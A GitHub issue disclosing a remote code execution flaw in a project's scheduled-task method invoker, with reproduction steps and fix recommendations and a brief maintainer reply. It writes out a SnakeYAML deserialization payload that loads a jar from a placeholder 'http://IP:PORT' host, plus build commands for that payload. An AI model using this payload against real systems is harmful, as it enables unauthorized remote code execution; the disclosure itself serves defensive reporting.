Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vulnerability] Remote Code Execute #168

Open
c41ico opened this issue Feb 18, 2024 · 1 comment
Open

[vulnerability] Remote Code Execute #168

c41ico opened this issue Feb 18, 2024 · 1 comment

Comments

@c41ico
Copy link

c41ico commented Feb 18, 2024

1. Steps to reproduce

Using the project https://github.com/artsploit/yaml-payload, modify AwesomeScriptEngineFactory.java as follows

image-20240218210104501

Building and package, moveyaml-payload.jar into the root directory of the web service

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

A new scheduled task is created as follows

image-20240218203904983

调用方法 field is org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://IP:PORT/yaml-payload.jar"]]]]')

Execute this task after submission to remotely execute arbitrarily code

2. Expected behavior

The com.aurora.util.JobInvokeUtil#invokeMethod method is used to reflectively execute the specified method of the given class

image-20240218211601330

3. Actual behavior

However, there is no filtering of incoming class names and method names in this method, resulting in dangerous class names and method names being passed in and executed

4. Affected Version

latest

5. Fixes Recommendations

  1. Filter dangerous class names
  2. Filter unnecessary protocols such as http, rmi, etc.
@linhaojun857
Copy link
Owner

Thank you for your feedback, I will fix it as soon as possible, and also welcome pr

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants